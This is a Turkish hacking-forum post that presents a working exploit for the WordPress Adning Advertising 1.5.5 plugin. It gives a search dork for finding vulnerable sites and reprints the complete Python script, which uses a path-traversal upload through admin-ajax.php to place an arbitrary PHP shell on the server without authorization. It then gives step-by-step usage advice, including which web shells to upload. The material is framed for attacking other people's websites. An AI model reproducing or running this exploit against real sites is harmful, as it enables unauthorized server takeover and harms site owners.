Wordpress Adning Advertising 1.5.5 Exploit

AdaletinKILICI

Turan Ordusu
29 Eyl 2019
311
119
127.0.0.1
Selamın aleyküm değerli dostlar. Bu konumuzda sizlerle beraber Adning Advertising eklentisinin 1.5.5 sürümünü kullanan wordpress siteler için hazırlanan bir exploiti inceleyeceğiz.

Exploit linki: Cxsecurity

Exploiti incelediğimiz zaman Adning Advertising eklentisinin 1.5.5 sürümünde çalıştığını görüyoruz. Bu da demektir ki exploiti yazan arkadaşın da gösterdiği gibi "inurl:/wp-content/plugins/angwp" dorkunu kullanarak bu exploiti kullanabileceğimiz siteleri bulabiliriz. Ama şöyle birşey de var ki eğer biz bu dorku internet üzerinde aratırsak karşımıza çıkan her sitede çalışmayacaktır. Sebebi ise başta da dediğim gibi exploitin sadece Adning Advertising eklentisinin 1.5.5 sürümünde çalışması :)

Exploitin ana amacı belirtilen eklentiyi bulunduran siteye izinsiz shell veya herhangi bir php dosya upload etmek.

Cxsecurity üzerinde yayınlanan bu exploiti biraz daha inceleyecek olursak bize bir de kaynak kodu vermiş. Bu kaynak kodu exploitimizin ta kendisi :) Onu da hemen şuraya yazalım:

Python:
import os.path
from os import path
import json
import requests;
import sys


def print_banner():
    print("Adning Advertising < 1.5.6 - Arbitrary File Upload")
    print("Author -> space_hen (bilal vm)")


def print_usage():
    print("Usage: python3 exploit.py [target url] [php file]")
    print("Ex: python3 exploit.py https://example.com ./shell.php")


def vuln_check(uri):
    response = requests.get(uri)
    raw = response.text


    if ("no files found" in raw):
        return True;
    else:
        return False;


def main():


    print_banner()
    if(len(sys.argv) != 3):
        print_usage();
        sys.exit(1);


    base = sys.argv[1]
    file_path = sys.argv[2]


    ajax_action = '_ning_upload_image'
    admin = '/wp-admin/admin-ajax.php';


    uri = base + admin + '?action=' + ajax_action ;
    check = vuln_check(uri);


    if(check == False):
        print("(*) Target not vulnerable!");
        sys.exit(1)


    if( path.isfile(file_path) == False):
        print("(*) Invalid file!")
        sys.exit(1)


    files = {'files[]' : open(file_path)}
    data = {
    "allowed_file_types" : "php,jpg,jpeg",
    "upload" : json.dumps({"dir" : "../"})
    }
    print("Uploading Shell...");
    response = requests.post(uri, files=files, data=data )
    file_name = path.basename(file_path)
    if(file_name in response.text):
        print("Shell Uploaded!")
        if(base[-1] != '/'):
            base += '/'
        print(base + file_name)
    else:
        print("Shell Upload Failed")
        sys.exit(1)


main();

Biraz daha inceleyince bu exploitin nasıl kullanıldığı açık olarak verilmemiş. Dolayısıyla kaynak koda biraz bakmamız lazım. Biraz göz gezdirdikten sonra "print("Usage: python3 exploit.py [target url] [php file]")" satırını görüyoruz. Burada bize anlatmak istediği aslında şu: İlk olarak bu kaynak kodu exploit.py diye bir dosyaya kaydet. Sonra ise python3 aracılığı ile exploiti çalıştır. Fakat çalıştırırken unutmamamız gereken bir yer var. O da parametreler :) İlk parametre olarak hedef sitenin adresini, ikinci parametre olarak da exploit ile aynı dizinde bulunan bir php dosyası. Bu php dosyası hedef sunucuya yüklemek istediğimiz dosya. Ama öyle k2, c100 gibi shell dosyaları atmaya çalışmayın hata alabilirsiniz. Onlar yerine basit upload sheller atabilirsiniz. Eğer hata alırsanız php dosyasını seçerken tam yolunu da girebilirsiniz(örnek: C://Users/Administrator/Desktop/shell.php gibi). Sonuç olarak da eğer hedef site Adning Advertising eklentisinin 1.5.5 sürümünü kullanıyorsa dosya upload edilecek, kullanmıyorsa da kaynak kodda da yazdığı gibi upload edilemedi yazacak.

Evet arkadaşlar bu konumuz da böyleydi. Bir sonraki konuda görüşmek üzere. Hoşça kalın...
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.